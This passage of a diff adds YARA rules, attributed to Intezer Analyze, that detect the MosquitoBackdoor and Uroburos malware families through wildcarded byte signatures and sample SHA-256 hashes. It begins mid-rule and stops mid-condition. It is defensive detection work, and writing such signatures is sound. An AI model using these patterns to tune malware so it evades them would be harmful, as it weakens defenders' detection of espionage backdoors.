+		$block_67 = { 8B ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_69 = { 33 ?? 8B ?? ?? ?? F7 ?? ?? ?? FF C? 0F AF ?? ?? ?? 89 }
+		$block_70 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 3B ?? 7D }
+		$block_71 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 0F 85 }
+		$block_72 = { 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_73 = { 48 ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_74 = { 0F B7 ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_75 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 39 ?? ?? ?? 0F 85 }
+		$block_76 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 }
+		$block_78 = { 8B ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_79 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_80 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 75 }
+		$block_81 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_82 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 8D }
+		$block_83 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_84 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "af0e455f640b621c50d5c11efc3c8649691a9a661fa1bcf658aae48c007ff3c4" or
+		24 of them
+}
+
+rule MosquitoBackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? 23 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_1 = { 5? FF F? 02 ?? 89 ?? ?? ?? ?? ?? 04 ?? 6E 00 ?? ?? 10 ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 02 ?? CC 8B }
+		$block_2 = { 8B ?? ?? 33 ?? 6A ?? 4? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? 5? 72 }
+		$block_3 = { F4 64 ?? 00 ?? ?? 00 ?? ?? 8B ?? ?? EC 83 ?? ?? 08 ?? ?? ?? 5? 68 ?? ?? ?? ?? 6E 83 ?? ?? 72 }
+		$block_4 = { 08 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 5? 0C ?? CC 8B ?? 68 ?? ?? ?? ?? 8B ?? 10 ?? 00 ?? ?? 73 }
+		$block_5 = { 5? 05 ?? ?? ?? ?? 00 ?? 6D CC 8B ?? ?? ?? ?? ?? 8B ?? 8D ?? ?? ?? ?? ?? FF 1? 83 ?? ?? 4? 73 }
+		$block_6 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 5? 8B ?? 5? 5? 5? 8B ?? ?? 5? 8B ?? 5? 8B ?? ?? 3B ?? 0F 82 }
+		$block_7 = { E8 ?? ?? ?? ?? 5? FF 7? ?? 8B ?? 8B ?? 68 ?? ?? ?? ?? FF 5? ?? 8B ?? ?? 2B ?? 83 ?? ?? 0F 82 }
+		$block_8 = { FF 7? ?? ?? 39 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 0F 43 ?? ?? ?? 6A ?? 5? 5? FF 7? ?? ?? FF 1? }
+		$block_9 = { 89 ?? FF 7? ?? ?? 68 ?? ?? ?? ?? 4? FC 30 ?? FF 8? ?? ?? ?? ?? 5? 5? 15 ?? ?? ?? ?? 5? 74 }
+		$block_10 = { 00 ?? CC 00 ?? ?? EC 8B ?? ?? 5? 00 ?? 8B ?? 85 ?? 00 ?? 63 ?? 5? A1 ?? ?? ?? ?? 01 ?? 70 }
+		$block_11 = { EC 8B ?? ?? A3 ?? ?? ?? ?? 5? 8B ?? ?? 00 ?? ?? 00 ?? ?? ?? 31 ?? 68 ?? ?? ?? ?? 04 ?? 75 }
+		$block_12 = { C6 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 8D ?? ?? ?? 0F 43 ?? ?? ?? 5? 5? E9 }
+		$block_13 = { 6A ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 7? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_14 = { 83 ?? ?? ?? ?? 5? 0F 43 ?? ?? ?? 5? 6A ?? 6A ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+		$block_15 = { 00 ?? ?? 0F C1 ?? 00 ?? 32 ?? ?? 4? 04 ?? FC 00 ?? ?? 10 ?? ?? 00 ?? ?? ?? 89 ?? ?? 9? }
+		$block_16 = { 8B ?? 5? FF 7? ?? 8B ?? FF 5? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 3B ?? ?? 0F 85 }
+		$block_17 = { 5? 89 ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? FF 6? ?? EC 6E 00 ?? ?? 74 }
+		$block_18 = { 83 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_19 = { 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_20 = { EC 83 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 80 7? ?? ?? 5? B1 ?? 5? 8B ?? 88 ?? ?? 75 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 8B ?? 83 ?? ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 8B ?? 5? FF 5? }
+		$block_22 = { CC 8B ?? ?? ?? 00 ?? ?? 85 ?? 4? 4? 8B ?? 8D ?? ?? 15 ?? ?? ?? ?? 8B ?? ?? 74 }
+		$block_23 = { 6A ?? 5? 6A ?? 5? 8D ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_24 = { 2B ?? 33 ?? D1 ?? 8D ?? ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 5? 89 }
+		$block_25 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_26 = { 8B ?? ?? 0F AF ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 6B ?? ?? 8B ?? ?? 8B ?? ?? 89 }
+		$block_27 = { 8B ?? 2B ?? 5? 8B ?? ?? 3B ?? 0F 42 ?? 83 ?? ?? 2B ?? ?? 2B ?? 3B ?? 0F 86 }
+		$block_28 = { 4? 04 ?? 9? 00 ?? 3F 24 ?? 00 ?? 61 64 ?? ?? 01 ?? ?? 00 ?? ?? ?? 4? 73 }
+		$block_29 = { 6A ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_30 = { E8 ?? ?? ?? ?? CC 5? 8B ?? 5? 8B ?? 5? 5? 8B ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_31 = { 4? 68 ?? ?? ?? ?? 89 ?? ?? F4 64 ?? ?? ?? 00 ?? 20 ?? CC 85 ?? FF 1? }
+		$block_32 = { 8B ?? CC 5? 5? A3 ?? ?? ?? ?? 89 ?? 00 ?? ?? ?? ?? ?? 4? 3F 24 ?? 75 }
+		$block_33 = { 84 ?? ?? 00 ?? 10 ?? 00 ?? 01 ?? 33 ?? 06 03 ?? ?? ?? ?? ?? 4? 6F }
+		$block_34 = { 8B ?? 64 ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? CC 8B ?? 8B ?? 8B ?? 75 }
+		$block_35 = { E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 8D ?? ?? ?? 0F 43 ?? ?? ?? 5? FF 7? }
+		$block_36 = { 83 ?? ?? ?? ?? 0F 43 ?? ?? ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? EB }
+		$block_37 = { 8B ?? ?? 23 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_38 = { 4? C4 ?? ?? C0 ?? ?? ?? ?? ?? ?? 31 ?? 0C ?? 4? CC CC CC CC CC }
+		$block_39 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? FF 4? ?? 0F 85 }
+		$block_40 = { EC 5? 8D ?? ?? 89 ?? ?? ?? ?? ?? F4 64 ?? 00 ?? C1 ?? ?? 75 }
+		$block_41 = { 63 ?? 00 ?? 4? FC 8B ?? 08 ?? ?? ?? ?? ?? 6A ?? 00 ?? 5? }
+		$block_42 = { 8B ?? ?? ?? 89 ?? ?? D2 ?? ?? ?? ?? ?? 00 ?? 6C 0F 84 }
+		$block_43 = { 8D ?? ?? 16 00 ?? ?? F4 89 ?? ?? 4? 8B ?? ?? 00 ?? 72 }
+		$block_44 = { EC 1D ?? ?? ?? ?? 00 ?? 8B ?? ?? ?? ?? ?? D0 ?? ?? 8B }
+		$block_45 = { 5? 8B ?? 5? 8B ?? 5? 5? 8B ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_46 = { 00 ?? ?? 83 ?? ?? 89 ?? CC CE FF 6? ?? 00 ?? ?? 5? }
+		$block_47 = { 8B ?? ?? CE C5 ?? ?? 4? 10 ?? ?? ?? 00 ?? ?? 5? 6E }
+		$block_48 = { 4? 61 00 ?? ?? C7 ?? ?? ?? ?? ?? ?? C9 02 ?? 4? }
+		$block_49 = { 89 ?? ?? 64 ?? 0C ?? CE 64 ?? ?? 0F 40 ?? ?? CF }
+		$block_50 = { 8B ?? ?? 10 ?? C1 ?? ?? 4? 30 ?? 00 ?? 4? FC 74 }
+		$block_51 = { FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "e7fd14ca45818044690ca67f201cc8cfb916ccc941a105927fc4c932c72b425d" or
+		hash.sha256(0, filesize) == "b79cdf929d4a340bdd5f29b3aeccd3c65e39540d4529b64e50ebeacd9cdee5e9" or
+		12 of them
+}
+
+rule Uroburos {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { FF 7? ?? 8B ?? 69 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 03 ?? 8D ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_1 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? 2B ?? 8B ?? ?? 88 ?? ?? 8B ?? ?? C6 ?? ?? ?? 33 ?? 75 }
+		$block_2 = { 8B ?? ?? ?? ?? ?? ?? 33 ?? 39 ?? ?? ?? ?? ?? 5? 5? 0F 94 ?? 5? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_3 = { 8B ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 85 }
+		$block_4 = { 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? ?? 5? 8B ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 0F BE ?? 83 ?? ?? 75 }
+		$block_6 = { 0F B6 ?? ?? C1 ?? ?? 05 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? EB }
+		$block_7 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? C1 ?? ?? 81 C? ?? ?? ?? ?? 8B ?? ?? 89 }
+		$block_8 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_9 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? F7 ?? 1B ?? 83 ?? ?? 83 ?? ?? 8B ?? ?? 88 ?? ?? ?? ?? ?? E9 }
+		$block_10 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_11 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_12 = { D9 ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? DB ?? ?? ?? D9 ?? D8 ?? D8 ?? DF ?? F6 ?? ?? 0F 8B }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? ?? 6B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? 8D ?? ?? 89 ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_15 = { 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? 85 ?? 75 }
+		$block_16 = { 8B ?? ?? 0F B7 ?? 5? 8B ?? ?? 5? 8B ?? ?? 81 C? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 }
+		$block_17 = { 0F B6 ?? ?? F7 ?? 1B ?? 83 ?? ?? 88 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_19 = { 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_20 = { 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 88 ?? ?? 0F B6 ?? ?? 83 ?? ?? 0F 85 }
+		$block_21 = { 0F B7 ?? ?? 83 ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_22 = { 8B ?? 8B ?? 8B ?? 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? 8B ?? 8B ?? 33 ?? 85 ?? 0F 94 ?? 89 }
+		$block_23 = { 8B ?? ?? ?? C1 ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? ?? 89 ?? ?? ?? 0F 8E }
+		$block_24 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_25 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 8D ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 7C }
+		$block_26 = { 8A ?? ?? 5? 8B ?? ?? 0F B6 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? EB }
+		$block_27 = { 0F B6 ?? ?? F7 ?? 1B ?? 83 ?? ?? 88 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 74 }
+		$block_28 = { 8B ?? ?? 0F AF ?? ?? 8B ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? EB }
+		$block_29 = { 6A ?? 6A ?? 6A ?? 6A ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_30 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_31 = { 8B ?? ?? ?? 5? 5? 8B ?? ?? ?? 5? 8B ?? ?? ?? 8B ?? 5? C1 ?? ?? 0F B7 ?? 2B ?? C7 }
+		$block_32 = { 8B ?? ?? 69 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_33 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_34 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_35 = { 8B ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_36 = { 8B ?? ?? ?? 8B ?? 0B ?? 89 ?? ?? ?? 5? 23 ?? 5? 33 ?? 85 ?? 5? 0F 95 ?? 5? C3 }
+		$block_37 = { 83 ?? ?? 5? 8B ?? ?? ?? 5? 8B ?? 83 ?? ?? 5? 8D ?? ?? ?? 5? 89 ?? ?? ?? 0F 8D }
+		$block_38 = { 83 ?? ?? ?? 83 ?? ?? D1 ?? 0F B7 ?? 0F B7 ?? 85 ?? 8D ?? ?? ?? 89 ?? ?? 76 }
+		$block_39 = { 2B ?? ?? 8B ?? ?? 89 ?? ?? 33 ?? 85 ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 0F 86 }
+		$block_40 = { 0F B7 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 39 ?? ?? 73 }
+		$block_41 = { 6A ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 74 }
+		$block_42 = { 8B ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? 7C }
+		$block_43 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 95 ?? 83 ?? ?? 8B ?? EB }
+		$block_44 = { 8B ?? ?? 0F B6 ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 77 }
+		$block_45 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 1B ?? 83 ?? ?? 83 ?? ?? EB }
+		$block_46 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_47 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? F7 ?? 1B ?? 83 ?? ?? 83 ?? ?? 8B ?? ?? 88 }
+		$block_48 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_49 = { 8B ?? ?? 8B ?? ?? 2B ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 8B ?? ?? 3B ?? ?? 76 }
+		$block_50 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_51 = { D9 ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? D8 ?? 89 ?? ?? ?? DF ?? F6 ?? ?? 0F 84 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_53 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_54 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? 25 ?? ?? ?? ?? 03 ?? C1 ?? ?? 83 ?? ?? 74 }
+		$block_55 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_56 = { 8B ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_58 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? C1 ?? ?? 0B ?? FF 4? ?? 4? 89 ?? ?? 75 }
+		$block_59 = { 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_60 = { 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 0F BE ?? 83 ?? ?? 74 }
+		$block_61 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? C1 ?? ?? 83 ?? ?? 83 ?? ?? 75 }
+		$block_62 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? C1 ?? ?? 83 ?? ?? 83 ?? ?? 74 }
+		$block_63 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? 72 }
+		$block_64 = { 88 ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_65 = { 0F B6 ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 0F B6 ?? ?? 83 ?? ?? 75 }
+		$block_66 = { 8B ?? ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_67 = { 5? 8B ?? 5? 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? 3B ?? 74 }
+		$block_68 = { 8D ?? ?? 99 83 ?? ?? 03 ?? 8B ?? C1 ?? ?? 03 ?? 03 ?? 85 ?? 7E }
+		$block_69 = { 8B ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? 99 F7 ?? 89 ?? ?? ?? 3B ?? 7D }
+		$block_70 = { 8B ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 89 }
+		$block_71 = { 8D ?? ?? 99 83 ?? ?? 03 ?? 8B ?? C1 ?? ?? 3B ?? ?? ?? ?? ?? 7E }
+		$block_72 = { 8B ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? 99 F7 ?? 89 ?? ?? ?? 3B ?? 7C }
+		$block_73 = { 5? 6A ?? 8D ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_74 = { 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 3B ?? ?? ?? 89 ?? ?? ?? 0F 8C }
+		$block_75 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_76 = { 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? A3 ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 6A ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_78 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_79 = { 33 ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? 8D ?? ?? 83 ?? ?? 0F 82 }
+		$block_80 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 2B ?? 2B }
+		$block_81 = { 8B ?? ?? 2B ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 3B ?? ?? 76 }
+		$block_82 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 3D ?? ?? ?? ?? 7F }
+		$block_83 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_84 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_85 = { 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_86 = { 83 ?? ?? 83 ?? ?? ?? ?? 5? 5? 5? 5? 8B ?? 8B ?? 0F 8E }
+		$block_87 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_88 = { 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_89 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 75 }
+		$block_90 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 81 3? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_92 = { 0F B6 ?? ?? C1 ?? ?? 81 C? ?? ?? ?? ?? 8B ?? ?? 89 }
+		$block_93 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? C1 ?? ?? 74 }
+		$block_94 = { E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_95 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? ?? ?? ?? 0F 84 }
+		$block_96 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_97 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_98 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_99 = { 5? 8B ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "168f8c29c14880a5f1b13b24c11f4707c40bbd24593b90908b44192f73b6c2d6" or
+		hash.sha256(0, filesize) == "47247719f62f8409aae68867d9750e8c2a792b241efea1c1eac58baca3f146ee" or
+		hash.sha256(0, filesize) == "583132e0aab63507f6bd15a5d37aa883279ded69fa18e04fd299b0c2df845d54" or
+		hash.sha256(0, filesize) == "7032c7bb7ebd3f8b886aa175d2c52138ef00fc3313b61dae87cfc80d1c8a7ec3" or
+		hash.sha256(0, filesize) == "fc68026b83392aa227e9adf9c71289cb51ba03427f6de67a73ae872e19ef6ff9" or
+		hash.sha256(0, filesize) == "3a6ade7e2278d39ea74ef86144b256780d76e4db29431873e9271b20e4614696" or
+		hash.sha256(0, filesize) == "e2bbb2b9bb5cd97371150d8ae64efeca90a6e7162cd0080613854d1b189fd5a6" or
+		hash.sha256(0, filesize) == "92c2023095420de3ca7d53a55ed689e7c0086195dc06a4369e0ee58a803c17bb" or
+		hash.sha256(0, filesize) == "94f05acb7e004e66875c02f7f903f1874f7085a772742e351ea9c0237a1079e2" or
+		hash.sha256(0, filesize) == "5e72cdb489133c984ae3b807bffbc788d14ceefb2385b5f2dff3618d85ffffd8" or
+		hash.sha256(0, filesize) == "c6b9ade2f5885ccebff30c4e7b279e17d981ff153936735d75874f52735ad556" or
+		hash.sha256(0, filesize) == "ef444eaef804955cb7a5902e30b43201c3d45c0f35aaa0b0ea73f3af916688ae" or
+		hash.sha256(0, filesize) == "b9620603662fe681ce714f78905d806c946b599b44505e0a6e4a14e97e2c973a" or
+		hash.sha256(0, filesize) == "198388dc0f81a5915def5414b62f485f6f2a8e12c28592a810518059a2eb5a36" or
